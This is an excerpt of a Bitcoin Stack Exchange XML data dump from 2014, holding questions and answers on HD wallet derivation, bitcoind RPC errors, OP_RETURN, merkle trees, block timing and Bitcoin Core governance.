rel=&quot;nofollow&quot;&gt;BIP 70&lt;/a&gt; which covers this scenario.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-08-30T13:35:59.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30293" PostTypeId="2" ParentId="30076" CreationDate="2014-08-30T14:44:39.077" Score="2" Body="&lt;p&gt;Here's a &lt;a href=&quot;http://bip32.org&quot; rel=&quot;nofollow&quot;&gt;web tool for BIP32 key derivation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is the hardcoded 50k rounds of HMAC-SHA256. You do need to know how your wallet software exactly derived the master private key from the mnemonic or you'll get totally different keys. Unfortunately there's no standard convention for the HD wallet backup/restore process and I'm afraid this ranks quite high among the biggest downsides against Bitcoin adoption.&lt;/p&gt;&#xA;" OwnerUserId="17067" LastActivityDate="2014-08-30T14:44:39.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30294" PostTypeId="2" ParentId="11390" CreationDate="2014-08-30T15:22:49.533" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://wantsbtc.com&quot; rel=&quot;nofollow&quot;&gt;http://wantsbtc.com&lt;/a&gt; is a dns-like service that forces the user to sign his chosen username to his btc address, thereby proving that they own it.&lt;/p&gt;&#xA;" OwnerUserId="19183" LastActivityDate="2014-08-30T15:22:49.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30295" PostTypeId="1" AcceptedAnswerId="30439" CreationDate="2014-08-30T16:05:10.243" Score="8" ViewCount="8959" Body="&lt;p&gt;Is there a google like search engine which can search for any text that is included with a bitcoin transaction? As I understand it each transaction includes 80 characters of text as well.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is not possible to search the blockchain for text in an easy way&lt;/p&gt;&#xA;" OwnerUserId="8653" LastEditorUserId="8653" LastEditDate="2014-09-08T07:18:29.280" LastActivityDate="2017-12-21T21:22:06.663" Title="How can I search for transaction text on the blockchain?" Tags="|blockchain|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30296" PostTypeId="1" CreationDate="2014-08-30T16:51:43.967" Score="0" ViewCount="260" Body="&lt;p&gt;I am getting this error when I type &lt;code&gt;getbalance&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-1,&quot;message&quot;:&quot;std::bad_alloc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I type &lt;code&gt;getbalance&lt;/code&gt; and wait for about 2 minutes and this error appears finally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean? &lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2014-08-30T19:25:11.240" Title="getbalance not working" Tags="|bitcoind|json-rpc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30297" PostTypeId="2" ParentId="30295" CreationDate="2014-08-30T16:53:51.230" Score="3" Body="&lt;p&gt;In fact that text is a &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; extension not really present in the blockchain itself. I can't find any text search method in the &lt;a href=&quot;https://blockchain.info/q&quot; rel=&quot;nofollow&quot;&gt;query API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17067" LastActivityDate="2014-08-30T16:53:51.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30298" PostTypeId="2" ParentId="30296" CreationDate="2014-08-30T17:09:59.580" Score="0" Body="&lt;p&gt;According to the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/rpcprotocol.h#L44&quot; rel=&quot;nofollow&quot;&gt;rpcprotocol.h&lt;/a&gt; the error you received is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RPC_MISC_ERROR = -1, // std::exception thrown in command handling&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;C++&lt;/code&gt;, &lt;code&gt;std::bad_alloc&lt;/code&gt; is the type of object thrown as an exception by the storage allocation functions. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-08-30T17:09:59.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30299" PostTypeId="1" CreationDate="2014-08-30T17:13:48.990" Score="3" ViewCount="743" Body="&lt;p&gt;If the nodes I connect to don't support the BIP 61 &lt;code&gt;reject&lt;/code&gt; message, how do I know that my transaction was eventually rejected by the network (e.g. due to my bugs)? Is there any timeout or whatever after which it's reasonable to assume that my peers will never relay the transaction?&lt;/p&gt;&#xA;" OwnerUserId="17067" LastActivityDate="2015-01-15T02:24:38.430" Title="How to detect a rejected transaction?" Tags="|transactions|raw-transaction|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30300" PostTypeId="2" ParentId="30296" CreationDate="2014-08-30T19:25:11.240" Score="1" Body="&lt;p&gt;It probably means your bitcoind has not enough memory to complete the request.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-08-30T19:25:11.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30301" PostTypeId="2" ParentId="13582" CreationDate="2014-08-30T23:13:07.083" Score="1" Body="&lt;p&gt;How to run two instances with same wallet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo su -&#xA;./xcoind stop&#xA;cp -r .xcoin xcoin2&#xA;&#xA;cat .xcoin/xcoin.conf&#xA;---&#xA;rpcport=3776&#xA;port=3777&#xA;---&#xA;&#xA;vi ./xcoin2/xcoin.conf&#xA;---&#xA;rpcport=3876&#xA;port=3877&#xA;addnode=127.0.0.1:3777&#xA;---&#xA;&#xA;./xcoind &amp;amp;&#xA;./xcoind -datadir=/root/xcoin2 &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19185" LastEditorUserId="19185" LastEditDate="2014-08-30T23:32:49.117" LastActivityDate="2014-08-30T23:32:49.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30303" PostTypeId="1" CreationDate="2014-08-31T03:45:58.057" Score="3" ViewCount="142" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin repo on Github&lt;/a&gt; has 7 members. Ultimately, they decide what bug fixes and pull requests get merged. I don't understand how this is decentralized? Yes, it is open source, so anything they do merge can be seen by all, but how many of those &lt;em&gt;all&lt;/em&gt; can really understand that code? Ultimately it will be the miners who will be responsible for pulling in new code - are we to say that all miners thoroughly review the source code and commit log before pulling in any changes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this then means that the people behind miners are usually developers themselves? Which then basically means that developers are in charge of Bitcoin as a whole? If that's the case, are developers qualified enough to create and run a currency - do we not need economists as well?&lt;/p&gt;&#xA;" OwnerUserId="19132" LastEditorUserId="5406" LastEditDate="2014-10-03T12:16:52.243" LastActivityDate="2014-10-03T12:16:52.243" Title="Is Bitcoin a developer only currency and community?" Tags="|bitcoin-core|governance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30305" PostTypeId="2" ParentId="29912" CreationDate="2014-08-31T10:50:36.227" Score="3" Body="&lt;p&gt;Having control over BGP and being able to &lt;strong&gt;split the Internet&lt;/strong&gt; in two pieces can indeed be used to carry out an attack against some Bitcoin users. It might not even be that economically infeasible as you may think.&lt;/p&gt;&#xA;&lt;p&gt;The adversary does not necessary need to have a control over a big portion of the Internet backbone infrastructure - he only needs to &lt;strong&gt;cut off&lt;/strong&gt; a (small) &lt;strong&gt;region&lt;/strong&gt;. This would effectively cause a split of the blockchain, without the victims noticing any problems with their connectivity to other peers as the communication is not signed (nor encrypted). In other words, if you can redirect the traffic going to a well-known Bitcoin node (by &amp;quot;stealing&amp;quot; his IP), you can easily &lt;strong&gt;replace him&lt;/strong&gt; and act in his name.&lt;/p&gt;&#xA;&lt;p&gt;Of course, that's not to say that this would go &lt;strong&gt;totally undetected&lt;/strong&gt; by the public. People operating nodes in the cut off region would see a dramatic downfall in the &lt;strike&gt;Difficulty&lt;/strike&gt; hash rate, and they could also see their inter-regional transactions not getting cleared and confirmed by their recipients. However, this kind of attack can still be efficient against a targeted victim, providing that it's performed carefully.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastEditorUserId="13530" LastEditDate="2022-09-23T11:16:32.103" LastActivityDate="2022-09-23T11:16:32.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30306" PostTypeId="2" ParentId="21721" CreationDate="2014-08-31T11:20:04.470" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it common for the site to immediately send the received coins to its superwallet (master node) upon X confirmations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Aggregating your assets coming from tons of transactions into a single address is not necessary, but it's not that uncommon. It can be practical if the volume of addresses holding some coins becomes unmanageable (the exact number depends on your wallet software, system resources, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this happens, you can simply send those coins in a big transaction with multiple inputs (in order to save on tx fees) to an address managed by your &lt;em&gt;&quot;master node&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And how would u know when a payment is sent to one of the derived addresses?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same way as you knew before. You can keep watching the address after you've transfered the funds to you master address. If needed, you can make another aggregation transaction later again.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-08-31T11:20:04.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30310" PostTypeId="2" ParentId="9259" CreationDate="2014-08-31T12:31:25.733" Score="1" Body="&lt;p&gt;Just FYI, you can use Windows based solution, create reparse point that point to another directory, just like symlink in Linux&lt;/p&gt;&#xA;" OwnerUserId="19190" LastActivityDate="2014-08-31T12:31:25.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30312" PostTypeId="2" ParentId="30261" CreationDate="2014-08-31T13:00:22.193" Score="1" Body="&lt;p&gt;Did you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change your client software?&lt;/li&gt;&#xA;&lt;li&gt;Change your operating system?&lt;/li&gt;&#xA;&lt;li&gt;Install Updates eg. Java/Qt/...?&lt;/li&gt;&#xA;&lt;li&gt;Swap ISP?&lt;/li&gt;&#xA;&lt;li&gt;Checked blockchain.info (for transactions on your wallet?)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My first assumption would be that you got hacked (if your wallet.dat was in it's predefined environment) and that the one controlling has added as password &lt;em&gt;or&lt;/em&gt; you have encountered a bug somewhere which has not been reported and fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could add your litcoin address(es) I can do some investigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nico&lt;/p&gt;&#xA;" OwnerUserId="19192" LastActivityDate="2014-08-31T13:00:22.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30315" PostTypeId="1" CreationDate="2014-08-31T14:25:29.390" Score="1" ViewCount="144" Body="&lt;p&gt;What's the status of wallet format standardization? Is there any proposal or work-in-progress around? If not, how come nobody urges to define standard wallet formats yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is especially needed for &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet#Type_2_hierarchical_deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;HD wallets&lt;/a&gt; where the seed phrase alone is virtually useless as long as each wallet software is free to use different derivation methods, branches, gap limits and other proprietary parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I use software A to create a &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet#Type_2_hierarchical_deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;HD wallet&lt;/a&gt; and A derives the master private key after hashing the seed phrase with N rounds of SHA256 or whatever function. The software also tracks the creation time to speed up the sync in case we want to do a rescan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to a critical bug software A corrupts my wallet. The only thing I was told to remember at the time was the seed phrase. Thank God I wrote it down, my coins are safe and I want to restore them with more secure software B. Unfortunately, software B defaults to M rounds of MD5 before deriving the master private key from the seedphrase. But I'm a lucky boy and I can choose both the derivation algorithm and the number of rounds. Err.. wait: I'm not a geek and this stuff is just sci-fi. After all, wasn't I supposed to just remember the seed phrase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, suppose we are lucky enough to find the exact derivation algorithm, here comes the gap limit: what's the software A default gap limit? Ask Google? WAT? Without the exact gap limit we may be missing transactions we're not even aware of. Scan the whole branch with a ridiculously high gap? Yes, why not, but who knows the A's branching structure? Are we really sure that it used the external/internal chain convention? Are we ready to scan billions and billions of addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least, without knowing the seed creation time the sync process is much slower and may waste a lot of bandwidth on a mobile device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think these are &lt;strong&gt;very strong&lt;/strong&gt; arguments for the skeptical user, it's unacceptable that people may lose coins just because nobody agreed on an universal format, both for static and HD wallets. Forum threads on how to restore a backup into another software are extremely common and I guess a BIP on wallet formats is in order. Why struggle with things like multisignature when the fundamentals are still uncovered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the above I couldn't blame those who won't use such a currency to store their real-life money, honestly I wouldn't either.&lt;/p&gt;&#xA;" OwnerUserId="17067" LastEditorUserId="17067" LastEditDate="2014-08-31T15:21:24.033" LastActivityDate="2014-08-31T15:21:24.033" Title="Standardize wallet format" Tags="|wallet|security|standard|bip32-hd-wallets|adoption|" AnswerCount="0" CommentCount="6" ClosedDate="2014-09-22T16:46:28.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="30316" PostTypeId="1" CreationDate="2014-08-31T14:51:09.790" Score="1" ViewCount="290" Body="&lt;p&gt;I realize this question may not have an answer and therefore might not be suitable for SE, but I'm very curious about &lt;code&gt;OP_RETURN&lt;/code&gt; transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_RETURN&lt;/code&gt; transactions appear to be the accepted mechanism for inserting metadata into the Blockchain. Considering the innumerable uses for metadata (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=708193.0&quot; rel=&quot;nofollow&quot;&gt;contracts&lt;/a&gt;, &lt;a href=&quot;https://en.bitcoin.it/wiki/Colored_Coins#Example_of_an_Open_Assets_OP_RETURN_marker_output&quot; rel=&quot;nofollow&quot;&gt;colored coins&lt;/a&gt;, &lt;a href=&quot;http://www.proofofexistence.com/about&quot; rel=&quot;nofollow&quot;&gt;proof of ownership&lt;/a&gt;...), I foresee more and more non-monetary transactions filling up the Blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will that be bad?&lt;/p&gt;&#xA;" OwnerUserId="12039" LastEditorUserId="2306" LastEditDate="2014-08-31T15:14:04.377" LastActivityDate="2015-07-16T07:16:37.137" Title="How many OP_RETURN transactions in the Blockchain would be too many?" Tags="|blockchain|script|contracts|colored-coins|decentralized-assets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30317" PostTypeId="2" ParentId="30303" CreationDate="2014-08-31T15:06:51.703" Score="4" Body="&lt;p&gt;I think you're asking two slightly different things here:&lt;/p&gt;&#xA;&lt;h3&gt;Is Bitcoin development centralized?&lt;/h3&gt;&#xA;&lt;p&gt;Yes. The alternative, letting people you don't trust add code to Bitcoin, is a much worse solution.&lt;/p&gt;&#xA;&lt;p&gt;Also, I'd like to note that while development is centralized, it's also highly accountable. For example, a developer can't just reject a change, they must say why they're doing so, and the reason will be publicly visible.&lt;/p&gt;&#xA;&lt;h3&gt;Do developers get more say in the direction of Bitcoin?&lt;/h3&gt;&#xA;&lt;p&gt;Yes. You get more say in what features get added to Bitcoin if you know how to write C++. You also get more say if you are fluent in English.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-08-31T15:06:51.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30318" PostTypeId="2" ParentId="30316" CreationDate="2014-08-31T15:19:50.937" Score="1" Body="&lt;p&gt;I don't think so, because the use case of, &quot;I need to pay (the equivalent of) five dollars to buy this comedian's work is more common than the use case of &quot;I need to store this 128-bit string for an indefinite period of time.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prediction: By the end of 2016, transactions intended to hold metadata instead of actually sending coins will make up less than 10% of the blockchain's size.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-08-31T15:19:50.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30319" PostTypeId="2" ParentId="30316" CreationDate="2014-08-31T15:52:35.300" Score="3" Body="&lt;p&gt;It is reasonable solution. The main problem is not in the size of blockcain itself. The problem is in growing the number of unspent outputs. OP_RETURN outputs do not increase size of Utxo database&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-31T15:52:35.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30321" PostTypeId="1" AcceptedAnswerId="30325" CreationDate="2014-08-31T17:14:18.323" Score="1" ViewCount="702" Body="&lt;p&gt;I purchased a few mgwBTC (multigateway bitcoins) and I want to be able to transfer them to my other account. Is this possible? Can someone take a snapshot of how this is done? thanks.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-08-31T20:48:48.937" Title="Can you transfer NXT assets directly to another nxt account?" Tags="|nxt|decentralized-assets|mgw|multigateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30322" PostTypeId="2" ParentId="30303" CreationDate="2014-08-31T17:42:16.740" Score="6" Body="&lt;p&gt;Disclaimer: I'm one of those 7 people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is true that changes to this one particular code repository, and the releases of the Bitcoin Core software built from it are ultimately controlled by a few people, and many miners run this software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin Core is not the only software interacting with the Bitcoin network. There are other node and wallet implementations.&lt;/li&gt;&#xA;&lt;li&gt;You can run a modified version, or you can fork the code and maintain a branch yourself if there are features or changes you'd rather see.&lt;/li&gt;&#xA;&lt;li&gt;Even with Bitcoin Core powering the majority of full nodes on the network, its developers can't directly change the core protocol rules. If a change was controversial, people can (and should) refuse to upgrade. Ultimately, it is the people deciding to run a Bitcoin node that indirectly set the network's requirements.&lt;/li&gt;&#xA;&lt;li&gt;Miners do not set the rules. This is a common misconception; many people think the longest chain created by miners is the one that gets accepted by the network. This is not correct: it is the longest &lt;strong&gt;valid&lt;/strong&gt; chain that wins. Every full node - including non-miners - verify the transactions in the chain and will simply ignore a chain with faults.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-08-31T17:42:16.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30323" PostTypeId="2" ParentId="23863" CreationDate="2014-08-31T18:35:45.597" Score="2" Body="&lt;p&gt;Alex,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're logic is correct.  While the payment processors are facilitating an enviornment for increased demand, they are also putting downward pressure on a fairly thin market when they have to be a continual seller to convert the Bitcoins to dollars.  I think the hope overtime is that the market becomes much thicker and various derivatives pop up  to help them hedge this with less disruption.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners are also are creating a bit of downward pressure on the price because it is their incentive to convert their newly minted coins to dollars in a similar process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the hope is that someone from the demand side keeps coming in and picking up this supply. I think right now it is people who are holding them as investments (dollar alternatives) and in that case they would be less interested in using them to buy things.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps increased public awareness or legislation would be a catalyst to change this. I don't think it's going to be a make or break but it's definitely a little bit of a sticking point. &lt;/p&gt;&#xA;" OwnerUserId="19196" LastActivityDate="2014-08-31T18:35:45.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30324" PostTypeId="2" ParentId="24224" CreationDate="2014-08-31T20:45:01.997" Score="1" Body="&lt;p&gt;You don't need a full bitcoind node running. There's plenty of code to do that, I suggest you &lt;a href=&quot;https://github.com/bitcoinj/bitcoinj&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt; for Java and &lt;a href=&quot;https://github.com/jgarzik/picocoin&quot; rel=&quot;nofollow&quot;&gt;picocoin&lt;/a&gt; for C. It's a trivial task: connect to any peer (e.g. through DNS discovery) and parse the 'tx' messages it will send you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also published &lt;a href=&quot;https://github.com/keeshux/WaSPV&quot; rel=&quot;nofollow&quot;&gt;my own client library&lt;/a&gt; but it's for iOS and I guess you're looking for server-side stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: if you don't want to get your feet wet at all a quick-and-dirty solution is the &lt;a href=&quot;https://blockchain.info/api/api_websocket&quot; rel=&quot;nofollow&quot;&gt;blockchain.info WebSocket API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17067" LastActivityDate="2014-08-31T20:45:01.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30325" PostTypeId="2" ParentId="30321" CreationDate="2014-08-31T20:48:48.937" Score="2" Body="&lt;p&gt;This is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In default NRS client this can be done via [Asset Exchange] -&gt; [My Assets] -&gt; [Transfer].&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-08-31T20:48:48.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30326" PostTypeId="2" ParentId="24224" CreationDate="2014-08-31T23:00:44.327" Score="1" Body="&lt;p&gt;For &lt;a href=&quot;https://getaddr.bitnodes.io/dashboard/#transactions-and-blocks-propagation&quot; rel=&quot;nofollow&quot;&gt;https://getaddr.bitnodes.io/dashboard/#transactions-and-blocks-propagation&lt;/a&gt;, I keep open connections with all reachable nodes in the network and then capture all incoming inv messages with tcpdump and parse the pcap files for inv packets; inv type 1 for transaction and inv type 2 for block. In order to receive all inv messages, you need to ensure your relay bit is set to 1 in your outgoing version message. Be ready to handle 3 to 10 Mbps for the incoming invs and you should be able to get all transactions this way but they may not necessarily come from the origin node.&lt;/p&gt;&#xA;" OwnerUserId="11412" LastActivityDate="2014-08-31T23:00:44.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30328" PostTypeId="1" CreationDate="2014-08-31T23:21:02.000" Score="4" ViewCount="321" Body="&lt;p&gt;According to &lt;a href=&quot;http://btc.blockr.io/&quot; rel=&quot;nofollow&quot;&gt;http://btc.blockr.io/&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Height  Block created   Transactions    Block fee   Size (kb)   Days destroyed&#xA;318525  2 minutes ago   28              0.00370000  8.36 kB     2.00&#xA;318524  3 minutes ago   64              0.00746243  25.76 kB    527.97&#xA;318523  4 minutes ago   140             0.02336649  67.67 kB    1,666.43&#xA;318522  2 minutes ago   16              0.00130000  4.64 kB     10.19&#xA;318521  8 minutes ago   359             0.05072184  205.02 kB   4,148.84&#xA;318520  16 minutes ago  92              0.01266343  49.22 kB    112.75&#xA;318519  7 minutes ago   128             0.01682150  54.51 kB    2,146.34&#xA;318518  20 minutes ago  137             0.02128600  86.23 kB    1,213.50&#xA;318517  24 minutes ago  657             0.10664839  353.93 kB   6,502.12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So during the past 24 minutes, 9 blocks have been found. One would expect this time to be approximately an hour and a half (90 minutes). &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How is this explained? Why is the block generation process currently running so fast? &lt;/li&gt;&#xA;&lt;li&gt;Is it safe to assume that the 6 confirmations, which took less that 10 minutes, implies an irreversible transaction?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-09-07T08:42:03.413" Title="Accelerated block generation" Tags="|blockchain|confirmations|time|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30329" PostTypeId="1" AcceptedAnswerId="30330" CreationDate="2014-09-01T03:08:16.340" Score="2" ViewCount="1092" Body="&lt;p&gt;The Bitcoin client builds a merkle tree to represent the transactions, then includes the root of that tree in the block header.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kYAwv.png&quot; alt=&quot;merkle tree from bitcoin paper&quot;&gt;&lt;br&gt;&#xA;But usually, the number of transactions is not a power of two. When that happens, how does the Bitcoin client represent the transactions in the tree?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wrote a custom mining client, which built a tree with a different &quot;shape,&quot; (example below) what would happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQzXb.png&quot; alt=&quot;custom merkle tree&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-01T03:08:16.340" Title="What shape of merkle tree does the Bitcoin client build?" Tags="|block|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30330" PostTypeId="2" ParentId="30329" CreationDate="2014-09-01T03:08:16.340" Score="3" Body="&lt;h3&gt;When the number of transactions is not a power of two, how does the Bitcoin client represent the transactions?&lt;/h3&gt;&#xA;&lt;p&gt;Each time around, it hashes each transaction with the one next to it, until there's only one left.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PRy1o.png&quot; alt=&quot;2 transactions merkle tree example&quot; /&gt;&lt;br /&gt;&#xA;If there's an odd number of transactions, the last one is hashed again.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/T50KF.png&quot; alt=&quot;3 transactions merkle tree example&quot; /&gt;&lt;br /&gt;&#xA;In this example, we start out with 11, then 6, then 3, then 2, then 1.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FxSw0.png&quot; alt=&quot;11 transactions merkle tree example&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;What would happen if you made a differently-shaped merkle-tree?&lt;/h3&gt;&#xA;&lt;p&gt;When sending blocks around, there's no way to specify the shape of the merkle tree. If it's different, the standard client will just reject it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-09-01T03:08:16.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30331" PostTypeId="1" CreationDate="2014-09-01T05:36:51.497" Score="2" ViewCount="968" Body="&lt;p&gt;While reading Satoshi Nakamoto's paper on how bitcoin works, I got stuck on #2. In a chain of transactions, how can someone who has received the coin check the whole chain with just a signed hash of the previous one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The person sending the coin would have to include the whole ownership chain, which would start increasing more and more in size&lt;/li&gt;&#xA;&lt;li&gt;There would have to be a public hash-to-transaction mapping somewhere.&lt;/li&gt;&#xA;&lt;li&gt;There would have to be a list of valid coins somewhere, making checking only the most recent transaction necessary&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't see Satoshi Nakamoto talking about any of these.&lt;/p&gt;&#xA;" OwnerUserId="19201" LastActivityDate="2014-12-01T06:02:04.243" Title="How does the receiver of a transaction check the whole chain of ownership?" Tags="|transactions|verification|transaction-verification|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30332" PostTypeId="2" ParentId="30331" CreationDate="2014-09-01T06:59:38.960" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;There would have to be a public hash-to-transaction mapping somewhere.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. There is a database of utxo - unspent transaction outputs. To be correct - it is an index of blockchain file.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-09-01T06:59:38.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30333" PostTypeId="2" ParentId="30295" CreationDate="2014-09-01T07:51:37.243" Score="6" Body="&lt;p&gt;There is funny site &lt;a href=&quot;http://bitcoinstrings.com/&quot; rel=&quot;noreferrer&quot;&gt;http://bitcoinstrings.com/&lt;/a&gt; I am not sure that it is what are you looking for but just in case...&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-09-01T07:51:37.243" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
